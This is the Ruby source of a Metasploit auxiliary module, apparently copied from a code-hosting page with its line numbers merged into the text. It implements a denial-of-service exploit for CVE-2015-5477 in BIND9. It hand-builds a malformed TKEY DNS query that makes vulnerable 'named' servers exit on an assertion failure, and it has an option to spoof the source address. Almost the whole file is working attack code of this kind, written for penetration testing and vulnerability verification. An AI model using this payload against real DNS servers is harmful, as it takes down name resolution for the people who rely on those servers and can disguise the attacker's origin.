Path: blob/master/modules/auxiliary/dos/dns/bind_tkey.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::UDPScanner8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BIND TKEY Query Denial of Service',15'Description' => %q{16This module sends a malformed TKEY query, which exploits an17error in handling TKEY queries on affected BIND9 'named' DNS servers.18As a result, a vulnerable named server will exit with a REQUIRE19assertion failure. This condition can be exploited in versions of BIND20between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.021through 9.10.2-P2.22},23'Author' => [24'Jonathan Foote', # Original discoverer25'throwawayokejxqbbif', # PoC26'wvu' # Metasploit module27],28'References' => [29['CVE', '2015-5477'],30['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],31['URL', 'https://kb.isc.org/article/AA-01272']32],33'DisclosureDate' => '2015-07-28',34'License' => MSF_LICENSE,35'DefaultOptions' => { 'ScannerRecvWindow' => 0 },36'Notes' => {37'Stability' => [CRASH_SERVICE_DOWN],38'SideEffects' => [],39'Reliability' => []40}41)42)4344register_options([45Opt::RPORT(53),46OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])47])4849deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')50end5152def scan_host(ip)53if datastore['SRC_ADDR']54scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])55else56print_status("Sending packet to #{ip}")57scanner_send(payload, ip, rport)58end59end6061def payload62name = Rex::Text.rand_text_alphanumeric(1..42)63txt = Rex::Text.rand_text_alphanumeric(1..42)6465name_length = [name.length].pack('C')66txt_length = [txt.length].pack('C')67data_length = [txt.length + 1].pack('n')68ttl = [rand(2**31 - 1) + 1].pack('N')6970query = "\x00\x00" # Transaction ID: 0x000071query << "\x00\x00" # Flags: 0x0000 Standard query72query << "\x00\x01" # Questions: 173query << "\x00\x00" # Answer RRs: 074query << "\x00\x00" # Authority RRs: 075query << "\x00\x01" # Additional RRs: 17677query << name_length # [Name Length]78query << name # Name79query << "\x00" # [End of name]80query << "\x00\xf9" # Type: TKEY (Transaction Key) (249)81query << "\x00\x01" # Class: IN (0x0001)8283query << name_length # [Name Length]84query << name # Name85query << "\x00" # [End of name]86query << "\x00\x10" # Type: TXT (Text strings) (16)87query << "\x00\x01" # Class: IN (0x0001)88query << ttl # Time to live89query << data_length # Data length90query << txt_length # TXT Length91query << txt # TXT92end93end949596